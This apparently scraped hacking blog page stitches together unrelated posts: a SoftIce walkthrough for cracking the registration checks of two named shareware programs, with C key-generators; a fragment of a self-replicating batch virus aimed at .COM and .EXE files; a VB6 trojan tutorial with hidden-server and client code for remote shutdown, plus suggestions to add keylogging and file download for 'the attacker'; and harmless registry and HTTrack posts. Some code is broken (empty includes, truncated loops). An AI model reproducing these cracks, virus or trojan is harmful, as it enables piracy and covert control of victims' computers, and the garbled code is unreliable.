push 00000404
push [ebp+08]
call [USER32!GetDlgItemTextA]
mov edi, eax :<--- eax has the length of the string
and is stored in edi for later usage.

We see that EAX is loaded with a memory address and then pushed to the stack as a parameter for the function GetDlgItemTextA. Since the function GetDlgItemTextA is already been run we can look at EBP-2c (with ED EDP-2c) and see that the name we entered is there. Now we know where the name is stored in memory, normally it would be wise to write that address down, but we will see that in this case it wont be necessary.
So, what next? Now we have to allow the program to read the registration number we entered. Just type g and return and when back in SoftIce press F11. You should see the following code:

push 0000000B
lea ecx, [ebp-18] : <--So, ebp-18 is where the reg. number
push ecx : is stored.
push 0000042A
push [ebp+08]
call [USER32!GetDlgItemTextA]
mov ebx, eax : <--save the lenght of string in EBX
test edi, edi : <--remember EDI had the lenght of the
jne 00402FBF : name we entered?
We see that the registration number is stored at location EBP-18 , check it with ED EBP-18. Again, normally it would be wise to note that address down. Also we see that it is checked if the length of the name we gave was not zero. If it is not zero the program will continue.

Step 6: Ok, now we know where the data we entered is stored in memory. What next?
Now we have to find out what is DONE with it. Usually it would we wise to put breakpoints on those memory locations and find out where in the program they are read. But in this case the answer is just a few F10's away. Press F10 until you see the following code :

cmp ebx, 0000000A :<--remember EPX had the length of the
je 00402FDE : registration code we entered?
These two lines are important. They check if the length of the registration code we entered is equal to 10. If not the registration number will be considered wrong already. The program wont even bother to check it. Modify EBX or the FLAG register in the register window to allow the jump. Continue Pressing F10 until you get to the following code (note that the adresses you will see could be different) :

:00402FDE xor esi, esi :<-- Clear ESI
:00402FE0 xor eax, eax :<-- Clear EAX
:00402FE2 test edi, edi
:00402FE4 jle 00402FF2
:00402FE6 movsx byte ptr ecx, [ebp + eax - 2C] :<-- ECX is loaded with a letter of the name we entered.
:00402FEB add esi, ecx :<-- Add the letter to ESI
:00402FED inc eax :<-- Increment EAX to get next letter
:00402FEE cmp eax, edi :<-- Did we reach the end of the string?
:00402FF0 jl 00402FE6 :<-- If not, go get the next letter.

Well, we see that the program adds together all the letters of the name we entered. Knowing that ESI contains the sum of the letters, lets continue and find out what the program does with that value :

:00402FF2 push 0000000A
:00402FF4 lea eax, [ebp-18] :<-- Load EAX with the address of the reg. number we entered
:00402FF7 push 00000000
:00402FF9 push eax :<-- Push EAX (as a parameter for the following function)
:00402FFA call 00403870 :<-- Well, what do you think this function does? :)
:00402FFF add esp, 0000000C
:00403002 cmp eax, esi :<-- Hey!
:00403004 je 00403020

We see that a function is called and when RETurned ESI is compared with EAX. Hmm, lets look at what's in EAX. A '? EAX' reveals :
00003039 0000012345 "09"

Bingo. That's what we entered as the registration number. It should have been what's inside ESI. And we know what's inside ESI, the sum of the letters of the name we entered!
Step 7: Now we know how the program computes the registration code we can make a key-gen.
But we should not forget that the program checks also that the registration number has 10
digits.
A simple C code that will compute the registration number for this program could look like this:

##################################################################
#include
#include
main()
{
char Name[100];
int NameLength,Offset;
long int Reg = 0, Dummy2 = 10;
int Dummy = 0;
int LengtDummy = 1;
int Lengt , Teller;
printf("Scanline SwiftSearch 2.0 crack by neo.\n");
printf("Enter your name: ");
gets(Name);
NameLength=strlen(Name);

/* the for lus calculates the sum of the letters in Name */
/* and places that value in Reg */
for (Offset=0;Offset
{
Reg=Reg+Name[Offset];
}
/* the while lus calculates the lenght of the figure in */
/* Reg and places it in Lengt */
while (Dummy != 1)
{
if ( Reg < Dummy2 )
{ Lengt = LengtDummy ; Dummy =1;
}
else
{ LengtDummy=LengtDummy + 1; Dummy2=Dummy2*10;
}
};
printf("\nYour registration number is : " );
/* First print 10-Lengt times a 0 */
Lengt=10-Lengt;
for (Teller=1;Teller<=Lengt;Teller=Teller+1) printf("0");
/* Then print the registration number */
printf("%lu\n",Reg);
}




Case 2 Ize 2.04 from Gadgetware
Ize from Gadgetware is a cute little program that will put a pair of eyes on your screen which will
follow your mousepointer. It has a register function where you can enter your name and a registration
number. The strategy in this case is still the same : Find out where in memory the entered information
is stored and then find out what is done with that information.

Step 1: Start Ize. Chose register and enter a name and a number. I used 'razzia' and '12345'.

Sterp 2: Enter (CTRL-D) Softice and set a breakpoint on GetDlgItemTextA.

Step 3: Leave SoftIce and press OK. This will put you back in Softice. You will be inside the GetDlgItemTextA
function. To get out of it press F11. You should see the following code :

mov esi, [esp + 0C]
push 00000064
push 0040C3A0 :<--On this memory location the NAME we entered will be stored.
mov edi, [USER32!GetDlgItemTextA] :<--Load edi with adress of GetDlgItemTextA
push 00004EE9
push esi
call edi :<-- Call GetDlgItemTextA
push 00000064 :<-- (you should be here now)
push 0040C210 :<--On this memory location the NUMBER we entered will be stored
push 00004EEA
push esi
call edi :<-- Call GetDlgItemTextA

We see that the function GetDlgItemTextA is called twice in this code fragment. The first call has
already happened. With ED 40C3A0 we can check that the name we entered is stored on that location.
To allow the program to read in the number we entered we type G and enter. Now we are inside the Get-
DlgItemTextA function again and we press f11 to get out of it. We check memory location 40C210 and
we see the number we entered is stored there.
Now we know the locations were the name and the number are stored,we note those down!

Step 4: Ok, what next? We now know where in memory the name and the number are stored. We need to find out
what the program does with those values. In order to do that we could set breakpoints on those memory
locations to see where they are read. But in this case it wont be necessary. The answer is right after the
above code :

push 0040C210 :<--save the location of the number we entered (as a parameter for the next call)
call 00404490 :<-- call this unknown function
add esp, 00000004
mov edi, eax :<-- save EAX (hmmmm)

We see a function being called with the number-location as a parameter. We could trace into the function and see what it does, but that is not needed. With your experience of the Swiftsearch
example you should be able to guess what this function does. It calculates the numerical value of the registration number and puts it in EAX. To be sure we step further using F10 untill we are past the call and check the contents of EAX (with ? EAX). In my case it showed : 00003039 0000012345 "09".

Knowing that EDI contains our registration number we proceed:
push 0040C3A0 :<-- save the location of the name we entered (as a parameter for the next call)
push 00409080 :<-- save an unknown memory-location (as a parameter for the next call)
call 004043B0 :<--call to an unknown function
add esp, 00000008
cmp edi, eax :<--compare EDI (reg # we entered) with EAX (unknown, since the previous call changed it)
jne 004018A1 :<--jump if not equal
We see that a function is called with two parameters. One of the parameters is the location of the name
we entered. The other we dont know, but we can find out with ED 409080. We see the text 'Ize'.
This function calculates the right registration number using those two parameters. If you just want to
crack this program, you can place a breakpoint right after the call and check the contents of EAX. It will
contain the right registration number. But since we want to know HOW the reg. # is calculated we will trace inside the function (using T). We will then try to find out HOW the contents of EAX got in there.

Step 5: Once inside the interesting function you will see that we are dealing with a rather long function. It wont be necessary for me to include the complete listing of this function, because we wont need all of it to make our key-gen.
But in order find out which part of the code is essential for the computation of the right registration number, you have to trace STEP by STEP and figure out what EXACTLY is going on!

Afther doing this i found out that the first part of the function computes some kind of "key". Then this
"key" is stored in memory and in that way passed on to the second part of the function.
The second part of the function then computes the right registration number, based on this "key" AND
the name we entered.
The code that is essential and that we need for our key-gen is the following:
( Note that before the following code starts, the registers that are used will have the following values:
EBX will point to the first letter of the name we entered,
EDX will be zero,
EBP will be zero,
The "key" that we talked about earlier is stored in memory location 0040B828 and will
have 0xA4CC as its initial value. )


:00404425 movsx byte ptr edi, [ebx + edx] :<-- Put first letter of the name in EDI
:00404429 lea esi, [edx+01] :<-- ESI gets the "letter-number"
:0040442C call 00404470 :<-- Call function
:00404431 imul edi, eax :<-- EDI=EDI*EAX (eax is the return value of the the previous call)
:00404434 call 00404470 :<-- Call function
:00404439 mov edx, esi
:0040443B mov ecx, FFFFFFFF
:00404440 imul edi, eax :<-- EDI=EDI*EAX (eax is the return value of the previous call)
:00404443 imul edi, esi :<-- EDI=EDI*ESI ( esi is the number of the letter position)
:00404446 add ebp, edi :<-- EBP=EBP+EDI (beware that EBP will finally contain the right reg#)
:00404448 mov edi, ebx :<--these lines compute the lenght of the name we entered
:0040444A sub eax, eax :<--these lines compute the lenght of the name we entered
:0040444C repnz :<--these lines compute the lenght of the name we entered
:0040444D scasb :<--these lines compute the lenght of the name we entered
:0040444E not ecx :<--these lines compute the lenght of the name we entered
:00404450 dec ecx :<-- ECX now contains the lenght of the name
:00404451 cmp ecx, esi
:00404453 ja 00404425 :<-- If its not the end of the name , go do the same with the next letter
:00404455 mov eax, ebp :<-- SAVE EBP TO EAX !!!!
:00404457 pop ebp
:00404458 pop edi
:00404459 pop esi
:0040445A pop ebx
:0040445B ret
_____
:00404470 mov eax, [0040B828] :<-- Put "key" in EAX
:00404475 mul eax, eax, 015A4E35 :<-- EAX=EAX * 15A4E35
:0040447B inc eax :<-- EAX=EAX + 1
:0040447C mov [0040B828], eax :<-- Replace the "key" with the new value of EAX
:00404481 and eax, 7FFF0000 :<-- EAX=EAX && 7FFF0000
:00404486 shr eax, 10 :<-- EAX=EAX >>10
:00404489 ret


The above code consists of a loop that goes trough all the letters of the name we entered. With each
letter some value is calculated, all these values are added up together (in EBP). Then this value is stored
in EAX and the function RETurns. And that was what we were looking for, we wanted to know how EAX got its value!

Step 6: Now to make a key-gen we have to translate the above method of calculating the right reg# into a
c program. It could be done in the following way :
(Note : I am a bad c programmer :)

#include
#include
main()
{
char Name[100];
int NameLength,Offset;
unsigned long Letter,DummyA;
unsigned long Key = 0xa4cc;
unsigned long Number = 0;
printf("Ize 2.04 crack by neo\n");
printf("Enter your name: ");
gets(Name);
NameLength=strlen(Name);
for (Offset=0;Offset
{
Letter=Name[Offset];
DummyA=Key;
DummyA=DummyA*0x15a4e35;
DummyA=DummyA+1;
Key=DummyA;
DummyA=DummyA & 0x7fff0000;
DummyA=DummyA >> 0x10;
Letter=Letter*DummyA;
DummyA=Key;
DummyA=DummyA*0x15a4e35;
DummyA=DummyA+1;
Key=DummyA;
DummyA=DummyA & 0x7fff0000;
DummyA=DummyA >> 0x10;
Letter=Letter*DummyA;
Letter=Letter*(Offset+1);
Number=Number+Letter;
}
printf("\nYour registration number is : %lu\n",Number);
}
####################################################

Virus Code


Image Hosted by ImageShack.us
A simple VIRUS code is here: Just save the following code as .bat extension in notepad.
The antivirus will detect it as virus. see for yourself.  


It will affect *.com and *.EXE files .

It will multiply itself and may get more dangerous when altered.

@echo off>nul.ViRuSif

“%1==”/ViRuS_MULTIPLY goto ViRuS_multiplyif

“%1==”/ViRuS_OUTER_LOOP goto ViRuS_outer_loopif

“%1==”/ViRuS_FINDSELF goto ViRuS_findselfif

“%VOFF%==”T goto ViRuS_OLDBAT

set ViRuSname=%0

if not exist %0.bat call %0 /ViRuS_FINDSELF %path%

if not exist %ViRuSname%.bat set ViRuSname=

if “%ViRuSname%==” goto ViRuS_OLDBAT

How to display a message on your computer before Windows XP loads

how to display a message on your computer before Windows XP loads

1. Go to Start->Run.

2. On the Run window type regedit and press Enter.

2.Navigate to the key HKEY_LOCAL_MACHINE\SOFTWARE\Mcft\Windows NT\CurrentVersion\Winlogon.

3.Modify the key legalnoticecaption and write the name of the window you want to appear.

4.Modify the key legalnoticetext with what you want the window to say.

5.Restart your computer. ..!!..;s

How to write a simple trojan in vb6 | Creating a Virus

How to write a simple trojan in vb6

Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code.
The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go
through what you need for both and some sample code.

Server

The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it.
To do this you start by using

Private Sub Form_Load()
Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier.
So to get our application hidden from that a little better we make our code look like this.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

(Due to Bill gates, all running exe's will be displayed in the list of running processes. Your app will be hidden in the Running Applications List though )

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this
tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control.
I named my control win but you can name yours what ever.
Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat.

Then we add this code to our main form:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. (Public so it can be used by code outside of the Module) So add this code to the module and we are about done with the server
of the Trojan!

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Ok now we have a program that when the data “Msgbox” is sent to it on port 2999 it will display a msgbox on the victims computer. When the data "shutdown" is sent to it on port 2999 it will shutdown the computer. I used a Select Case statement so it is easy to modify this code to your own needs later on.

Congradulations! You just made your first Trojan. Lets go over the complete code now.

Main Form

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

Module

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server
that accepts the command of “shutdown” and "msgbox" lets make a client that sends the command “shutdown” and "msgbox".

Make a form and add a Winsock Control, a text box, and 4 buttons. The Text box should be named txtIP if you want it to work with this code.
In addition, your buttons should be named cmdConnect, cmdMsgbox, cmdShutdown, and cmdDisconnect. Now lets look at the code we would use to make our
Client.

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send
the “shutdown” or "msgbox" data to the server and the respective actions will be carried out (shutdown computer or display a msgbox)

These two programs do very little but can quickly evolve into a powerful remote administration tool if you know what you are doing. I suggest trying
to add different types of error handling and functions to both the server and client.

Ideas:

Make the server able to download a file specified by the attacker

Add code to make the Server be executed at startup. (Its a registry key)

Add a keylogger to the server - make it send the log to the attacker. There are loads more things you could do, just use your imagination

Thursday 16 June 2011

How to Download complete Website and save it on PC


When you discover an interesting website and want to copy a complete website to view it locally without internet connection. If in hurry, you can backup entire website on USB drive and view it afterward. Can be useful even if you want to save thousands of images from a webpage in one click.

HTTrack is a tool to save all the webpages from a specified website. The website downloaded when viewed offline looks exactly as it appears online. An exact mirror of the website is downloaded on your HardDisk with all the styles, background images and alignments keeping intact. The links pointing out of the page are also taken into consideration means those pages are also downloaded. For example: You have to download all the MP3 songs, Flash, videos or only some of them using Filters from a website all at once then WinHTTrack is a feasible option.

The sites downloaded can be used in your regular browser and there are no waiting times to load another page as all the pages are already stored offline in your Local Disk. Moreover, no active Internet connection required to access it. Personally, I used it to show  research pages of my Project to the concerned professor where internet connectivity was poor.

How to download complete website?

Enter Project name and Category (It can be anything according to the site you are downloading). Next the Base Path where the site will be downloaded.


More than one URL can be entered to be downloaded. Specify them in the box. You can specify filters to download specific extension of files like MP3, JPG or PNG from Set Options buttons.



Then Press Finish to start copying. You can prefer to shutdown PC after downloading is completed  as it may take few minutes depending upon the size of files hosted on site.


Now, to view the downloaded website go to the output folder and click on index.html file (general name) or open the HTTrack Website copier program and click Browse Sites from File menu.

Click Here to Download HTTrack